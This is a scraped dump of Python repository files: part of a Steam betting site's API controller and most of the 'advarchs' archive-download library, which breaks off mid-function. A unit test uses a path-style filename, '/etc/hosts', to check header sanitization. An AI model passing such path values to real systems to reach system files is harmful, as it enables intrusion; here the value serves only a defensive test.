inventory, slots = Partner.inventory()\n if inventory:\n RUserInventory = Session.query(db.UsersInventories).filter(db.UsersInventories.user == userID).first()\n RUserInventory.inventory = inventory\n Session.commit()\n Session.close()\n return inventory, slots\n\n def tradetoken(self, listener, tradeLink):\n UUID = self.Communicate.getUUID(listener)\n userID = self.Local.userIDs[UUID]\n match = re.match(r\"(http|https):\\/\\/steamcommunity\\.com\\/tradeoffer\\/new\\/\\?partner=[0-9]+&token=([a-zA-Z0-9\\-\\_]+)\", tradeLink)\n if match:\n with db.SessionScope() as Session:\n RUser = Session.query(db.Users).filter(db.Users.id == userID).first()\n RUser.token = match.group(2)\n self.UserHandler(listener).inventory()\n else:\n listener.sendMessage(json.dumps([\"tradeLink\", False]))" }, { "alpha_fraction": 0.6175785660743713, "alphanum_fraction": 0.6233993172645569, "avg_line_length": 32.36893081665039, "blob_id": "8425d17de2e3ac487fad006c4b286490f67f2a49", "content_id": "9caefaad4f16f4344fe78bdbb936b93093238750", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3436, "license_type": "no_license", "max_line_length": 195, "num_lines": 103, "path": "/Website/website/controllers/api.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "import logging, datetime\n\nfrom pylons import request, response, session, tmpl_context as c, url\nfrom pylons.controllers.util import abort, redirect\n\nfrom website.lib.base import BaseController, Session, render\nfrom sqlalchemy import func, and_\nimport database as db\nimport json\n\nlog = logging.getLogger(__name__)\n\nclass ApiController(BaseController):\n\n def users(self, name = False, steamid = False, limit = False):\n # Return a json string\n if limit:\n limit = int(limit)\n if limit > 10:\n limit = 10\n if name:\n name = name.lower()\n RUsers = Session.query(db.Users).filter(func.lower(db.Users.name).like(name + \"%\")).limit(limit).all()\n else:\n RUsers = Session.query(db.Users).filter(db.Users.steamid == steamid).limit(limit).all()\n\n users = []\n for RUser in RUsers:\n user = {}\n user[\"id\"] = RUser.id\n user[\"name\"] = RUser.name\n user[\"steamid\"] = RUser.steamID\n users.append(user)\n\n return json.dumps(users)\n\n def teams(self, name = False, leagueID = False, limit = False):\n # Return a json string\n if limit:\n limit = int(limit)\n if limit > 10:\n limit = 10\n if name:\n name = name.lower()\n RTeams = Session.query(db.Teams).filter(func.lower(db.Teams.name).like(name + \"%\")).limit(limit).all()\n else:\n RTeams = Session.query(db.Teams).filter(db.Teams.leagueID == leagueID).limit(limit).all()\n\n teams = []\n for RTeam in RTeams:\n team = {}\n team[\"id\"] = RTeam.id\n team[\"name\"] = RTeam.name\n team[\"short\"] = RTeam.short\n team[\"league\"] = RTeam.League.to_dict()\n teams.append(team)\n\n return json.dumps(teams)\n\n def bets(self, matchID, offset = 0, limit = 20):\n RUser = False\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n\n if limit:\n limit = int(limit)\n if limit > 20:\n limit = 20\n\n RMatch = Session.query(db.Matches).filter(db.Matches.id == matchID).first()\n if RUser:\n RBets = Session.query(db.BetsDetailed).filter(and_(db.BetsDetailed.match == matchID, db.BetsDetailed.user != RUser.id)).order_by(db.BetsDetailed.id.desc()).limit(limit).offset(offset).all()\n else:\n RBets = Session.query(db.BetsDetailed).filter(db.BetsDetailed.match == matchID).order_by(db.BetsDetailed.id.desc()).limit(limit).offset(offset).all()\n\n bets = []\n for RBet in RBets:\n bet = {}\n bet[\"user\"] = {}\n bet[\"user\"][\"id\"] = RBet.User.id\n bet[\"user\"][\"name\"] = RBet.User.name\n bet[\"user\"][\"rank\"] = {}\n bet[\"user\"][\"rank\"][\"name\"] = RBet.User.Rank.name\n bet[\"user\"][\"rank\"][\"icon\"] = RBet.User.Rank.icon\n bet[\"user\"][\"rank\"][\"colour\"] = RBet.User.Rank.colour\n bet[\"team\"] = {}\n bet[\"team\"][\"id\"] = RBet.team\n bet[\"team\"][\"name\"] = RMatch.Team1.name if RMatch.Team1.id == RBet.team else RMatch.Team2.name\n bet[\"groups\"] = RBet.groups\n bet[\"status\"] = RBet.status\n if RBet.status == 1 or RBet.status == 2:\n bet[\"wonGroups\"] = RBet.wonGroups\n bets.append(bet)\n\n return json.dumps(bets)\n\n def match(self, matchID):\n RMatch = Session.query(db.Matches).filter(db.Matches.id == matchID).first()\n return json.dumps(RMatch.to_dict(), default = lambda obj: obj.isoformat() if isinstance(obj, datetime.datetime) else None)\n\n def refreshSession(self):\n Session.commit()\n return json.dumps(True)" } ]
29
elessarelfstone/advarchs
https://github.com/elessarelfstone/advarchs
626fe039839546695a835fbb8ebaf9ca56d33d76
86838ac761a8ed15f5e789dc01817f86f21455e0
78665be6b82496f211ae82aa0d9623385b1f4aa9
refs/heads/master
2020-06-13T21:22:52.024173
2019-10-01T12:28:09
2019-10-01T12:28:09
194,791,791
2
1
Apache-2.0
2019-07-02T05:07:47
2019-08-20T07:34:38
2019-09-06T12:13:16
Python
[ { "alpha_fraction": 0.6120150089263916, "alphanum_fraction": 0.6420525908470154, "avg_line_length": 21.19444465637207, "blob_id": "e56c77ec34431ab048ae9d3e147766a95761213f", "content_id": "ec348e28f81419ed688ba3b03d05a0719259bcbe", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "TOML", "length_bytes": 799, "license_type": "permissive", "max_line_length": 60, "num_lines": 36, "path": "/pyproject.toml", "repo_name": "elessarelfstone/advarchs", "src_encoding": "UTF-8", "text": "[tool.poetry]\nname = \"advarchs\"\nversion = \"v0.1.7\"\ndescription = \"Data retrieval from remote archives\"\nauthors = [\n \"Dauren Sdykov <[email protected]>\"\n]\nlicense = \"Apache-2.0\"\n\nreadme = \"README.rst\"\n\nrepository = \"https://github.com/elessarelfstone/advarchs\"\n\nkeywords = [\"archive\", \"transfer\", \"zip\", \"rar\", \"advarchs\"]\n\nclassifiers = [\n \"Topic :: System :: Archiving\",\n \"Operating System :: Microsoft :: Windows\",\n \"Operating System :: POSIX :: Linux\",\n \"Programming Language :: Python :: 3.5\",\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\"\n]\n\n[tool.poetry.dependencies]\npython = \"^3.5\"\nrequests = \"^2.22\"\ntomlkit = \"^0.5.5\"\n\n\n[tool.poetry.dev-dependencies]\npytest = \"^3.0\"\n\n[build-system]\nrequires = [\"poetry>=0.12\"]\nbuild-backend = \"poetry.masonry.api\"\n" }, { "alpha_fraction": 0.679347813129425, "alphanum_fraction": 0.6868728995323181, "avg_line_length": 25.87640380859375, "blob_id": "acd9b741c67ddd479d3db24e3a8ef1b01f5cb622", "content_id": "67c75ce0ee0d5cd7e866c40d34d5e7b5524f21ba", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 2392, "license_type": "permissive", "max_line_length": 91, "num_lines": 89, "path": "/README.rst", "repo_name": "elessarelfstone/advarchs", "src_encoding": "UTF-8", "text": "Advarchs: Data retrieval from remote archives\n=============================================\n\n.. image:: https://img.shields.io/pypi/v/advarchs.svg\n :target: https://pypi.python.org/pypi/advarchs\n :alt: PyPI Version\n\n.. image:: https://img.shields.io/pypi/pyversions/advarchs.svg\n :target: https://pypi.python.org/pypi/advarchs\n :alt: Supported Python Versions\n\n.. image:: https://img.shields.io/travis/elessarelfstone/advarchs/master.svg\n :target: https://travis-ci.org/elessarelfstone/advarchs\n :alt: Build Status\n\n.. image:: https://img.shields.io/badge/wheel-yes-brightgreen.svg\n :target: https://pypi.python.org/pypi/advarchs\n :alt: Wheel Status\n\nOverview\n--------\nAdvarchs is simple tool for retrieving data from web archives.\nIt is especially useful if you are working with remote data stored in compressed\nspreadsheets or of similar format.\n\nGetting Started\n---------------\n\nSay you need to perform some data anlytics on an excel spreadsheet that gets\nrefreshed every month and stored in RAR format. You can target a that file\nand convert it to a pandas_ dataframe with the following procedure:\n\n.. code-block:: python\n\n import pd\n import os\n import tempfile\n from advarchs import webfilename,extract_web_archive\n\n TEMP_DIR = tempfile.gettempdir()\n\n url = \"http://www.site.com/archive.rar\"\n arch_file_name = webfilename(url)\n arch_path = os.path.join(TEMP_DIR, arch_file_name)\n xlsx_files = extract_web_archive(url, arch_path, ffilter=['xlsx'])\n for xlsx_f in xlsx_files:\n xlsx = pd.ExcelFile(xlsx_f)\n\n ...\n\nRequirements\n------------\n\n- ``Python 3.5+``\n- ``p7zip``\n\nSpecial note\n~~~~~~~~~~~~\n\nOn CentOS and Ubuntu <= 16.04, the following packages are needed:\n\n- ``unrar``\n\nInstallation\n------------\n\n.. code-block:: shell\n\n pip install advarchs\n\nContributing\n------------\nSee `CONTRIBUTING`_\n\nCode of Conduct\n~~~~~~~~~~~~~~~\nThis project adheres to the `Contributor Covenant 1.2`_.\nBy participating, you are advised to adhere to this Code of Conduct in all your\ninteractions with this project.\n\nLicense\n-------\n\n`Apache-2.0`_\n\n.. _`pandas`: https://pypi.org/project/pandas/\n.. _`CONTRIBUTING`: https://github.com/elessarelfstone/advarchs/blob/master/CONTRIBUTING.md\n.. _`Contributor Covenant 1.2`: http://contributor-covenant.org/version/1/2/0\n.. _`Apache-2.0`: https://github.com/elessarelfstone/advarchs/blob/master/LICENSE\n" }, { "alpha_fraction": 0.6129275560379028, "alphanum_fraction": 0.6471328139305115, "avg_line_length": 35.47706604003906, "blob_id": "05340ce39a07294629febbcb22f92d47fef5a06c", "content_id": "b71c4572ff24a2e82c8730a95c00ec325279bc89", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3976, "license_type": "permissive", "max_line_length": 164, "num_lines": 109, "path": "/tests/test_advarchs.py", "repo_name": "elessarelfstone/advarchs", "src_encoding": "UTF-8", "text": "import os\nimport string\nfrom contextlib import contextmanager\n\nimport pytest\n\nfrom advarchs import __version__\nfrom advarchs import download, filename_from_content_disposition, webfilename\nfrom advarchs import extract, extract_web_archive\nfrom advarchs.utils import get_hash_memory_optimized, file_ext\n\nfrom tests.fixtures import local_archives\n\nfrom tests import TEMP_DIR\n\nremove_punctuation_map = dict((ord(char), None) for char in string.punctuation if char not in '._-')\n\n\n@contextmanager\ndef webfile(url):\n webfname = webfilename(url)\n # webfname = webfname.translate(remove_punctuation_map)\n fpath = os.path.join(TEMP_DIR, webfname)\n yield fpath\n if os.path.exists(fpath):\n os.remove(fpath)\n\n\n@contextmanager\ndef localfile(fpath):\n yield fpath\n if os.path.exists(fpath):\n os.remove(fpath)\n\n\ndef test_version():\n assert __version__ == 'v0.1.7'\n\n\nclass TestDownloadUtils:\n\n @pytest.mark.parametrize(\n 'header, expected_filename', [\n ('attachment; filename=hello-WORLD_123.txt', 'hello-WORLD_123.txt'),\n ('attachment; filename=\".hello-WORLD_123.txt\"', 'hello-WORLD_123.txt'),\n ('attachment; filename=\"white space.txt\"', 'white space.txt'),\n (r'attachment; filename=\"\\\"quotes\\\".txt\"', '\"quotes\".txt'),\n ('attachment; filename=/etc/hosts', 'hosts'),\n ('attachment; filename=', None)\n ]\n )\n def test_filename_from_content_disposition(self, header, expected_filename):\n assert filename_from_content_disposition(header) == expected_filename\n\n @pytest.mark.parametrize(\n 'url', [\n ('https://drive.google.com/uc?export=download&id=1No0RIFMYJ7ymw7PT5id3JRh9Zu4UoZVj'),\n ('https://gist.github.com/elessarelfstone/627a59a72bb82826b8b23022fb92b446/raw/a6ebf46b805593dc8163d50f4eec3035f3e669e6/test_advarchs_direct_link.rar'),\n ('https://drive.google.com/uc?export=download&id=1cenn13H4u6YbNeusXyTp_eSeFAGvf06m'),\n ('https://drive.google.com/uc?export=download&id=1sJVR5oeknyt-dgpwZQ_ElVfywZ6UmlIm'),\n ]\n )\n def test_download(self, url):\n with webfile(url) as apath:\n f_size, _ = download(url, apath)\n assert os.path.exists(apath)\n assert f_size > 0\n\n\nclass TestAdvArchs:\n # def test_archive_info(self, local_archives):\n # apath, _ = local_archives\n # arch_info = archive_info(apath)\n # assert len(arch_info[0]) > 0\n # assert len(arch_info[1]) > 0\n\n # def test_files_list(self):\n\n\n def test_extract_with_ext_as_filter(self, local_archives):\n apath, files_hashes = local_archives\n f_exts = [file_ext(f) for f in files_hashes.keys()]\n out_files = extract(apath, f_exts)\n for o_f in out_files:\n assert os.path.exists(apath)\n assert os.path.basename(o_f) in files_hashes.keys()\n assert get_hash_memory_optimized(o_f) == files_hashes[os.path.basename(o_f)]\n\n def test_extract_with_filename_as_filter(self, local_archives):\n apath, files_hashes = local_archives\n out_files = extract(apath, files_hashes.keys())\n for o_f in out_files:\n assert os.path.basename(o_f) in files_hashes.keys()\n assert get_hash_memory_optimized(o_f) == files_hashes[os.path.basename(o_f)]\n\n @pytest.mark.parametrize(\n 'url, ffilter, files', [\n ('https://gist.github.com/elessarelfstone/627a59a72bb82826b8b23022fb92b446/raw/48262cf304f33e396ea7f36f3c4c3b98698c0a48/test_advarchs_to_extract.rar',\n ['html', 'js', 'dumper.png'],\n ['index.html', 'bootstrap.js', 'dumper.png']\n )\n ]\n )\n def test_extract_web_archive(self, url, ffilter, files):\n with webfile(url) as apath:\n out_files = extract_web_archive(url, apath, ffilter=ffilter)\n for o_f in out_files:\n with localfile(o_f) as fpath:\n assert os.path.basename(fpath) in files\n" }, { "alpha_fraction": 0.7297297120094299, "alphanum_fraction": 0.7297297120094299, "avg_line_length": 11.666666984558105, "blob_id": "aa50b692024987a4baafc1ddd363ce359c98e847", "content_id": "63b1daee3f88ad9d13846cc87f07b8494cd7d706", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 37, "license_type": "permissive", "max_line_length": 28, "num_lines": 3, "path": "/CONTRIBUTORS.md", "repo_name": "elessarelfstone/advarchs", "src_encoding": "UTF-8", "text": "Thanks!\n\n* https://github.com/siaarzh" }, { "alpha_fraction": 0.7719033360481262, "alphanum_fraction": 0.7744209170341492, "avg_line_length": 41.709678649902344, "blob_id": "af745b99cb783fa6b9560a0c3693cbafc70f9013", "content_id": "68a3f8ee90466d4196323a18b194bb4a55cd5fe8", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3976, "license_type": "permissive", "max_line_length": 139, "num_lines": 93, "path": "/CONTRIBUTING.md", "repo_name": "elessarelfstone/advarchs", "src_encoding": "UTF-8", "text": "# Contributing to advarchs\n\nThe following is a set of guidelines to contribute to Advarchs and its libraries, which are\nhosted on the [elessarelfstone](https://github.com/elessarelfstone) on GitHub.\n\nWhen contributing to this repository, please first discuss the change you wish to make via issue,\nemail, or any other method with the owners of this repository before making a change.\n\nThis project adheres to the [Contributor Covenant 1.2](http://contributor-covenant.org/version/1/2/0).\nBy participating, you are advised to adhere to this Code of Conduct in all your interactions with\nthis project\n\n## Reporting issues\n\nReporting issues is a great way to contribute to our project.\n\nBefore raising a new issue, check [the issues list](https://github.com/elessarelfstone/advarchs/issues).\nA solution to your issue might already be in the works!\n\nIf stuble upon a bug - big or small - report it. But, remember, a good bug report shouldn't leave\nothers needing to chase you for more information. Please be as detailed as possible. The following\nquestions might serve as a template for writing a detailed report:\n\n- What were you trying to achieve?\n- What are the expected results?\n- What are the received results?\n- What are the steps to reproduce the issue?\n- In what environment did you encounter the issue?\n\nYou may also ask simple questions relating to the project or find some documentation missing.\nWe would like to know about it too, so don't hesitate!\n\nAt the same time, please keep your issues constrained to a single problem. If the problem is systemic,\nyou may report it as well, we'll take it one step at time from then on.\n\n## Pull requests\n\nGood pull requests (e.g. patches, improvements, new features, docs) are of great help. But, again, they\nshould remain focused on the scope of a single problem and **avoid unrelated commits**.\n\n**Please ask first** (say, via issue) before embarking on any large pull request (e.g. implementing new features,\nrefactoring code etc.). You risk wasting your own effort on work that won't be accepted by us.\n\nPlease adhere to the [PEP-8](https://www.python.org/dev/peps/pep-0008/) coding conventions as used by this project.\n\nTo contribute to the project, [fork](https://help.github.com/articles/fork-a-repo/) it,\nclone your fork repository, and configure the remotes:\n\n```shell\ngit clone https://github.com/<your-username>/advarchs.git\ncd advarchs\ngit remote add upstream https://github.com/elessarelfstone/advarchs.git\n```\n\nIf your cloned repository is behind the upstream commits, then get the latest changes from upstream:\n\n```shell\ngit checkout develop\ngit pull --rebase upstream develop\n```\n\nCreate a new topic branch from `develop` using the naming convention `ARCH-[issue-number]`\nto help us keep track of your contribution scope:\n\n```\ngit checkout -b ARCH-[issue-number]\n```\n\nCommit your changes in logical chunks. When you are ready to commit, make sure\nto write a Good Commit Message™. Consult the [Erlang's contributing guide](https://github.com/erlang/otp/wiki/Writing-good-commit-messages)\nif you're unsure of what constitutes a Good Commit Message™. Use [interactive rebase](https://help.github.com/articles/about-git-rebase)\nto group your commits into logical units of work before making it public.\n\nNote that every commit you make must be signed. By signing off your work you indicate that you\nare accepting the [Developer Certificate of Origin](https://developercertificate.org/).\n\nUse your real name (sorry, no pseudonyms or anonymous contributions). If you set your `user.name`\nand `user.email` git configs, you can sign your commit automatically with `git commit -s`.\n\nLocally merge (or rebase) the upstream development branch into your topic branch:\n\n```\ngit pull --rebase upstream develop\n```\n\nPush your topic branch up to your fork:\n\n```\ngit push origin ARCH-[issue-number]\n```\n\n[Open a Pull Request](https://help.github.com/articles/using-pull-requests/) with a clear title\nand detailed description.\n" }, { "alpha_fraction": 0.5868761539459229, "alphanum_fraction": 0.5970425009727478, "avg_line_length": 23.953489303588867, "blob_id": "625b37a764b43268b6b41d866fdfbc4fdb016c5d", "content_id": "456213cb73112698fbedb26c4f1289d185eb7c0c", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": true, "language": "Python", "length_bytes": 1082, "license_type": "permissive", "max_line_length": 98, "num_lines": 43, "path": "/tests/fixtures/__init__.py", "repo_name": "elessarelfstone/advarchs", "src_encoding": "UTF-8", "text": "import os\n\nimport pytest\n\nfrom advarchs.utils import (\n create_file,\n add_file_to_zip,\n add_file_to_tar,\n random_string)\n\nfrom tests import TEMP_DIR\n\n\nTEST_LOCAL_ARCHIVES = [\n (\"zip_test_local\", add_file_to_zip, [\"local_test.jpg\", \"local_test.png\", \"local_test.docx\"\n ,\"local_test.xlsx\", \"local_test.exe\", \"local_test1.txt\"]),\n\n (\"tar_test_local\", add_file_to_tar, [\"local_test.bin\", \"local_test2.psd\", \"local_test2.ini\"]),\n\n]\n\n\[email protected](params=TEST_LOCAL_ARCHIVES)\ndef local_archives(request):\n arch = request.param\n f_paths = []\n f_hashes = {}\n arch_name, arch_handler, files = arch\n frmt = arch_name.split('_')[0]\n arch_path = os.path.join(TEMP_DIR, \"{}.{}\".format(arch_name, frmt))\n for f in files:\n f_path = os.path.join(TEMP_DIR, f)\n f_paths.append(f_path)\n sha = create_file(f_path, random_string(500, 1000))\n f_hashes[f] = sha\n arch_handler(f_path, arch_path)\n\n for f in f_paths:\n os.remove(f)\n\n yield arch_path, f_hashes\n\n os.remove(arch_path)\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5694308876991272, "alphanum_fraction": 0.5738211274147034, "avg_line_length": 30.37755012512207, "blob_id": "2543b05d1519cdbce94119672637d8655120b3d1", "content_id": "85fe78636258ec90fd84b4bdb7597b32a605c3e4", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6152, "license_type": "permissive", "max_line_length": 102, "num_lines": 196, "path": "/advarchs/handlers.py", "repo_name": "elessarelfstone/advarchs", "src_encoding": "UTF-8", "text": "import abc\nimport re\nimport os\nimport sys\nfrom enum import Enum\nfrom itertools import groupby\n\nfrom advarchs.utils import run_with_output\n\n\nCONSOLE_CODING = 'utf8'\nif sys.platform == 'win32':\n CONSOLE_CODING = 'cp866'\n\n\nclass ArchiveStatus(Enum):\n ALL_GOOD = 0\n NOT_COMPATIBLE = 1\n CORRUPTED = 2\n UNKNOWN_ERROR = 3\n\n\nclass AdvarchsExtractException(Exception):\n pass\n\n\nclass ArchiveHandlerBase(object):\n __metaclass__ = abc.ABCMeta\n\n @abc.abstractmethod\n def unpacker(self):\n \"\"\"\"\"\"\n return\n\n @abc.abstractmethod\n def files_list(self, apath):\n \"\"\" Get the archive's content list \"\"\"\n return\n\n @abc.abstractmethod\n def check(self, apath):\n \"\"\" Check archive if it's corrupted \"\"\"\n return\n\n @abc.abstractmethod\n def extract(self, apath, ffilter):\n \"\"\" Extract files from archive \"\"\"\n return\n\n\nclass HandlersFactory:\n \"\"\" Factory to get \"\"\"\n _handlers = {}\n\n @classmethod\n def get_handler(cls, name):\n try:\n return cls._handlers[name]\n except KeyError:\n raise ValueError(name)\n\n @classmethod\n def register(cls, name, handler):\n cls._handlers[name] = handler\n\n @classmethod\n def handlers(cls):\n return cls._handlers\n\n\nclass SevenZHandler(ArchiveHandlerBase):\n\n re_not_compatible_pattern = r\"can not open the file as archive\"\n re_success_pattern = r\"everything is ok\"\n re_corruption_pattern = r\"data error\"\n\n def __init__(self, unpacker):\n self._unpacker = unpacker\n\n def _files_info(self, apath):\n r, out, _ = run_with_output([self.unpacker(), 'l', '-slt', apath], CONSOLE_CODING)\n raw = re.sub(r\"^-+\", '-' * 10, out, flags=re.MULTILINE).split('-' * 10)[2]\n blocks = []\n current_block = {}\n # make flat list of clean stdout's lines\n lines = [line.strip() for line in raw.strip().split('\\n')]\n # break down flat list with details on lists for each file in archive\n block_list = [list(g) for k, g in groupby(lines, lambda x: x != '') if k]\n\n for block in block_list:\n for line in block:\n key, _, value = line.partition('=')\n current_block[key.strip().lower()] = value.strip()\n blocks.append(current_block)\n current_block = {}\n\n return blocks\n\n def _tech_info(self, apath):\n r, out, _ = run_with_output([self.unpacker(), 'l', '-slt', apath], CONSOLE_CODING)\n raw = re.sub(r\"^-+\", '-' * 10, out, flags=re.MULTILINE).split('-' * 10)[1]\n t_info = {}\n for line in raw.strip().split('\\n'):\n key, _, value = line.partition('=')\n t_info[key.strip().lower()] = value.strip().lower()\n\n return t_info\n\n def unpacker(self):\n return self._unpacker\n\n def check(self, apath):\n\n r, out, err = run_with_output([self.unpacker(), 't', apath], CONSOLE_CODING)\n if r == 0:\n return ArchiveStatus.ALL_GOOD\n else:\n if not re.search(self.re_success_pattern, out):\n if re.search(self.re_not_compatible_pattern, err):\n return ArchiveStatus.NOT_COMPATIBLE\n elif re.search(self.re_corruption_pattern, err):\n return ArchiveStatus.CORRUPTED\n else:\n return ArchiveStatus.UNKNOWN_ERROR\n\n def files_list(self, apath):\n a_files_info = self._files_info(apath)\n return [f[\"path\"] for f in a_files_info]\n\n def extract(self, apath, afile):\n dfolder = '-o' + os.path.dirname(apath)\n args = [self.unpacker(), 'e', '-aoa', apath, afile, dfolder]\n r, out, err = run_with_output(args, CONSOLE_CODING)\n if r != 0:\n raise AdvarchsExtractException('Could not extract archive.')\n f_path = os.path.join(os.path.dirname(apath), afile)\n\n return f_path\n\n\nclass RarHandler(ArchiveHandlerBase):\n\n re_not_compatible_pattern = r\"is not rar archive\"\n re_success_pattern = r\"all ок\"\n re_corruption_pattern = r\"total errors:\"\n\n def __init__(self, unpacker):\n self._unpacker = unpacker\n\n def unpacker(self):\n return self._unpacker\n\n def _files_info(self, apath):\n r, out, _ = run_with_output([self.unpacker(), 'ltab', apath], CONSOLE_CODING)\n raw = re.search(r\"([ \\t]*name:.*?)(?=(\\n{1,2}service:\\s*eof|\\Z))\", out, re.M | re.S).group(1)\n blocks = []\n current_block = {}\n # make flat list of clean stdout's lines\n lines = [line.strip() for line in raw.strip().split('\\n')]\n # break down flat list with details on lists for each file in archive\n block_list = [list(g) for k, g in groupby(lines, lambda x: x != '') if k]\n\n for block in block_list:\n for line in block:\n key, _, value = line.partition(': ')\n current_block[key.strip().lower()] = value.strip()\n blocks.append(current_block)\n current_block = {}\n\n return blocks\n\n def files_list(self, apath):\n a_files_info = self._files_info(apath)\n return [f[\"name\"] for f in a_files_info if \"type\" in f.keys() and f[\"type\"].lower() == \"file\"]\n\n def check(self, apath):\n r, out, err = run_with_output([self.unpacker(), 't', apath], CONSOLE_CODING)\n if r == 0:\n return ArchiveStatus.ALL_GOOD\n else:\n if not re.search(self.re_success_pattern, out):\n if re.search(self.re_not_compatible_pattern, out):\n return ArchiveStatus.NOT_COMPATIBLE\n elif re.search(self.re_corruption_pattern, out):\n return ArchiveStatus.CORRUPTED\n else:\n return ArchiveStatus.UNKNOWN_ERROR\n\n def extract(self, apath, afile):\n args = [self.unpacker(), 'e', '-o+', apath, afile]\n r, out, err = run_with_output(args, CONSOLE_CODING, cwd=os.path.dirname(apath))\n if r != 0:\n raise AdvarchsExtractException('Could not extract archive.')\n f_path = os.path.join(os.path.dirname(apath), afile)\n\n return f_path\n" }, { "alpha_fraction": 0.6284843683242798, "alphanum_fraction": 0.6298552751541138, "avg_line_length": 27.920705795288086, "blob_id": "e3f8f9b9442d7238f48694aa4b282efa5cc1aa64", "content_id": "6beccd0d488f3f702803cde5721a62545ab93522", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6565, "license_type": "permissive", "max_line_length": 99, "num_lines": 227, "path": "/advarchs/__init__.py", "repo_name": "elessarelfstone/advarchs", "src_encoding": "UTF-8", "text": "import os\nfrom shutil import which\nimport string\nimport tempfile\n\nfrom mailbox import Message\n\nimport requests\nfrom advarchs.utils import file_ext, extract_version, get_hash_memory_optimized\nfrom advarchs.handlers import (HandlersFactory, AdvarchsExtractException,\n ArchiveStatus, SevenZHandler, RarHandler)\n\n\n__all__ = ['webfilename', 'extract_web_archive', 'AdvArchs']\n\n\nARCHIVE_COMPRESS_FORMATS = ('rar', 'tar', 'zip', 'gzip', 'bzip', 'gz')\n\n__version__ = extract_version(__file__)\n\n\nREMOVE_PUNCTUATION = dict((ord(char), None) for char in string.punctuation if char not in '._-')\n\n# get appropriate cli command name for installed 7z\nSEVENZ = max([a if which(a) else None for a in ('7z', '7za')], key=lambda x: bool(x), default=None)\n\nUNRAR = 'unrar' if which('unrar') else None\n\nif os.name == 'nt':\n if SEVENZ:\n HandlersFactory.register(SEVENZ, SevenZHandler(SEVENZ))\n else:\n raise AdvarchsExtractException('Unpacker is not installed.')\nelif os.name == 'posix':\n if SEVENZ and UNRAR:\n HandlersFactory.register(SEVENZ, SevenZHandler(SEVENZ))\n HandlersFactory.register(UNRAR, RarHandler(UNRAR))\n elif SEVENZ and (not UNRAR):\n HandlersFactory.register(SEVENZ, SevenZHandler(SEVENZ))\n else:\n raise AdvarchsExtractException('Unpacker is not installed.')\n\n\nclass AdvarchsDownloadException(Exception):\n pass\n\n\ndef filename_from_content_disposition(content_disposition):\n \"\"\" Extract and validate filename from a Content-Disposition header. \"\"\"\n msg = Message('Content-Disposition: %s' % content_disposition)\n filename = msg.get_filename()\n if filename:\n # Basic sanitation.\n filename = os.path.basename(filename).lstrip('.').strip()\n if filename:\n return filename\n\n\ndef _get_headers_from_url(url):\n with requests.get(url, stream=True) as r:\n return r.headers\n\n\ndef _content_disposition(headers):\n return headers.get(\"content-disposition\")\n\n\ndef webfilename(url):\n \"\"\"Get filename from archive's headers or from the url\"\"\"\n headers = _get_headers_from_url(url)\n\n if _content_disposition(headers):\n result = filename_from_content_disposition(_content_disposition(headers))\n else:\n result = url.split(\"/\")[-1]\n\n return result.translate(REMOVE_PUNCTUATION)\n\n\ndef download(url, fpath):\n \"\"\"Download file using streaming\"\"\"\n with open(fpath, 'wb') as f:\n try:\n with requests.get(url, stream=True) as r:\n r.raise_for_status()\n f_size = 0\n for chunk in r.iter_content(chunk_size=8192):\n if chunk:\n f.write(chunk)\n f_size += len(chunk)\n f_hash = get_hash_memory_optimized(fpath)\n return f_size, f_hash\n except Exception as e:\n os.remove(fpath)\n raise AdvarchsDownloadException('Could not download file.' + e.message)\n\n\ndef is_matched(afile, ffilter=[]):\n \"\"\" Check if file in archive should be extracted \"\"\"\n if ffilter:\n # we check only full name and extension of file\n if (os.path.basename(afile) in ffilter) or (file_ext(afile) in ffilter):\n return True\n else:\n return False\n return True\n\n\ndef is_archive(afile):\n \"\"\"Check if inside file can be archive or compressed\"\"\"\n return file_ext(os.path.basename(afile)) in ARCHIVE_COMPRESS_FORMATS\n\n\ndef resolve_format(apath):\n \"\"\" Resolve right handler for archive \"\"\"\n\n status = ArchiveStatus.NOT_COMPATIBLE\n handlers = HandlersFactory.handlers()\n\n for handler in dict(handlers):\n unpacker = handlers[handler]\n status = unpacker.check(apath)\n if unpacker.check(apath) == ArchiveStatus.ALL_GOOD:\n return handler\n\n if status == ArchiveStatus.CORRUPTED:\n raise AdvarchsExtractException('Could not unpack. Archive is corrupted')\n\n elif status == ArchiveStatus.NOT_COMPATIBLE:\n raise AdvarchsExtractException('Could not unpack. Archive format is not supported')\n\n elif status == ArchiveStatus.UNKNOWN_ERROR:\n raise AdvarchsExtractException('Could not unpack. Unknown error')\n\n\ndef extract(apath, ffilter=[]):\n\n \"\"\" Extract files from archive \"\"\"\n\n files = []\n\n def extract_recursive(curr_apath):\n \"\"\"Look into archive recursively to extract files considering ffilter\"\"\"\n\n handler = resolve_format(curr_apath)\n unpacker = HandlersFactory.get_handler(handler)\n _files = unpacker.files_list(curr_apath)\n\n for f in _files:\n if is_matched(f, ffilter=ffilter):\n _fpath = unpacker.extract(curr_apath, f)\n files.append(_fpath)\n if is_archive(f):\n _apath = unpacker.extract(curr_apath, f)\n extract_recursive(_apath)\n\n extract_recursive(apath)\n return files\n\n\ndef inspect(apath):\n\n \"\"\" Look into archive recursively to retrieve list of all files \"\"\"\n\n files = []\n\n def inspect_into(curr_apath):\n handler = resolve_format(curr_apath)\n unpacker = HandlersFactory.get_handler(handler)\n _files = unpacker.files_list(curr_apath)\n for f in _files:\n # go into nested archive or compressed file\n if 